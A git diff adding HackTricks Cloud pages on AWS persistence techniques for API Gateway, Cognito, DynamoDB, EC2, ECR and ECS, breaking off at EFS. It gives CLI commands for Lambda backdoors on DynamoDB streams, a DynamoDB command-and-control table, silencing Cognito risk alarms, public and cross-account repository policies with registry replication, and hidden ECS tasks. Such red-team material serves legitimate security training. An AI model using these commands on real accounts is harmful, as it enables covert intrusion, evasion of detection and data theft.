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2
pentesting-cloud/aws-security/aws-persistence/README.md
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pentesting-cloud/aws-security/aws-persistence/README.md
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# AWS - Persistence
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# AWS - API Gateway Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
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|
||||
{% content-ref url="../aws-services/aws-api-gateway-enum.md" %}
|
||||
[aws-api-gateway-enum.md](../aws-services/aws-api-gateway-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
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Or just remove the use of the authorizer.
|
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|
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### IAM Permissions
|
||||
|
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If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
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Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,70 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{% content-ref url="../aws-services/aws-cognito-enum/" %}
|
||||
[aws-cognito-enum](../aws-services/aws-cognito-enum/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### User persistence
|
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|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
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|
||||
* **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
* Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
* Or to an **authenticated Identity Pool** if the attacker can login
|
||||
* Or **improve the permissions** of the given roles
|
||||
* **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
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* **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
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|
||||
Check how to do these actions in
|
||||
|
||||
{% content-ref url="../aws-privilege-escalation/aws-cognito-privesc.md" %}
|
||||
[aws-cognito-privesc.md](../aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,91 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
|
||||
[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,80 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
|
||||
[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
* Using a traditional **rootkit** for example
|
||||
* Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
* Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
* Backdoor the used AMI
|
||||
* Backdoor the User Data
|
||||
* Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,124 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-ecr-enum.md" %}
|
||||
[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
{% endhint %}
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,128 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-ecs-enum.md" %}
|
||||
[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
{% hint style="info" %}
|
||||
TODO: Test
|
||||
{% endhint %}
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
{% hint style="info" %}
|
||||
TODO: Test
|
||||
{% endhint %}
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
{% hint style="info" %}
|
||||
TODO: Test
|
||||
{% endhint %}
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
